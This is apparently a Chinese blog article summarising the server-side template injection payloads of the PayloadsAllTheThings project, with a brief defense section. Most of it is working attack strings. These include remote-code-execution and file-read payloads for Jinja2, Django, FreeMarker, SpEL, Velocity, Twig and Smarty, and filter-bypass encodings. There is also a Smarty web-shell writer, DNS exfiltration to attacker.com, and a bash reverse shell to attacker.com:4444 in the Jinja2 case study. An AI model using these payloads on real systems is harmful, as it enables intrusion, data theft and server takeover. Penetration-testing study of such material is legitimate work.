PayloadsAllTheThings SSTI漏洞:服务器端模板注入Payload解析

PayloadsAllTheThings SSTI漏洞:服务器端模板注入Payload解析

【免费下载链接】PayloadsAllTheThings A list of useful payloads and bypass for Web Application Security and Pentest/CTF 【免费下载链接】PayloadsAllTheThings 项目地址: https://gitcode.com/GitHub_Trending/pa/PayloadsAllTheThings

概述

服务器端模板注入(Server-Side Template Injection,SSTI)是一种严重的安全漏洞,当攻击者能够将恶意输入注入到服务器端模板中时,可以导致任意代码执行。PayloadsAllTheThings项目提供了全面的SSTI攻击载荷和绕过技术,涵盖了多种编程语言和模板引擎。

SSTI攻击流程

mermaid

多语言模板引擎Payload解析

Python模板引擎

Jinja2引擎Payload
# 基本注入检测
{{7*7}}           # 返回49
{{config.items()}} # 显示配置信息

# 文件读取
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

# 远程命令执行
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

# 最短RCE载荷
{{ lipsum.__globals__["os"].popen('id').read() }}
Django模板Payload
# 调试信息泄露
{% debug %}

# 密钥泄露
{{ messages.storages.0.signer.key }}

# 管理员信息泄露
{% load log %}{% get_admin_log 10 as log %}{% for e in log %}
{{e.user.get_username}} : {{e.user.password}}{% endfor %}
Mako模板Payload
# 直接访问os模块
${self.module.cache.util.os.system("id")}

# 多种访问路径
${self.__init__.__globals__['util'].os.system('id')}
${self.template.__init__.__globals__['os'].system('id')}

Java模板引擎

FreeMarker Payload
// 基本注入
${7*7}
#{7*7}
[=7*7]

// 代码执行
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}

// 文件读取
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_file').toURL().openStream().readAllBytes()?join(" ")}
Spring SpEL Payload
// 基本表达式
${T(java.lang.Runtime).getRuntime().exec("whoami")}

// DNS外泄
${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","attacker.com")}

// 会话属性修改
${pageContext.request.getSession().setAttribute("admin",true)}
Velocity Payload
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

PHP模板引擎

Twig Payload
// 基本注入
{{7*7}}
{{dump(app)}}

// 文件包含
{{include("wp-config.php")}}

// 代码执行
{{['id']|filter('system')}}
{{[0]|reduce('system','id')}}
{{['id']|map('system')|join}}
Smarty Payload
// 版本信息
{$smarty.version}

// 代码执行(已弃用)
{php}echo `id`;{/php}

// 文件写入
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

绕过技术分析

字符过滤绕过

# 绕过下划线过滤
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr("__class__")}}

# 绕过方括号过滤
{{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}

# 十六进制编码绕过
{{request|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')}}

上下文无关Payload

# 不依赖特定上下文的Payload
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

检测与利用工具

自动化检测工具

工具名称语言主要功能
TInjAJava高效的SSTI扫描器,使用新型多语言polyglot
tplmapPythonSSTI检测和利用工具,支持多种模板引擎
SSTImapPython基于tplmap的改进版,具有交互式界面

工具使用示例

# TInjA扫描
tinja url -u "http://example.com/?name=test" -H "Authorization: Bearer token"

# tplmap利用
python2.7 tplmap.py -u 'http://target.com/page?name=John*' --os-shell

# SSTImap交互模式
python3 sstimap.py -u 'https://example.com/page?name=test' -s

防御措施

输入验证与过滤

# 安全的模板渲染示例(Python)
from jinja2 import Template, Environment
env = Environment(autoescape=True)
template = env.from_string(safe_user_input)

沙箱环境配置

// FreeMarker沙箱配置
Configuration cfg = new Configuration(Configuration.VERSION_2_3_30);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

最小权限原则

  • 限制模板引擎的访问权限
  • 使用只读文件系统
  • 禁用危险函数和类

实战案例

案例1:Jinja2 RCE利用

# 写入恶意配置文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.cfg', 'w').write('from subprocess import check_output\nRUNCMD = check_output\n') }}

# 加载配置并执行
{{ config.from_pyfile('/tmp/evil.cfg') }}
{{ config['RUNCMD']('/bin/bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"',shell=True) }}

案例2:Twig过滤器绕过

// 使用filter函数执行系统命令
{{['cat /etc/passwd']|filter('system')}}

// 使用map函数执行命令
{{['id']|map('system')|join}}

// 使用reduce函数
{{[0]|reduce('system','id')}}

总结

PayloadsAllTheThings项目提供了全面的SSTI攻击载荷库,涵盖了多种编程语言和模板引擎。通过深入分析这些Payload,安全研究人员可以更好地理解SSTI漏洞的原理、检测方法和防御措施。

关键要点

  1. 多引擎支持:项目支持Jinja2、Django、FreeMarker、Twig、Smarty等主流模板引擎
  2. 绕过技术:提供多种字符过滤和语法限制的绕过方法
  3. 实战价值:Payload经过实际测试,具有较高的利用成功率
  4. 教育意义:帮助开发者理解模板注入的风险和防御方法

学习建议

  • 在可控环境中测试Payload
  • 理解每种Payload的工作原理
  • 关注模板引擎的安全更新
  • 实施深度防御策略

通过系统学习PayloadsAllTheThings中的SSTI内容,安全专业人员可以提升漏洞发现和修复能力,有效保护Web应用程序安全。

【免费下载链接】PayloadsAllTheThings A list of useful payloads and bypass for Web Application Security and Pentest/CTF 【免费下载链接】PayloadsAllTheThings 项目地址: https://gitcode.com/GitHub_Trending/pa/PayloadsAllTheThings

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值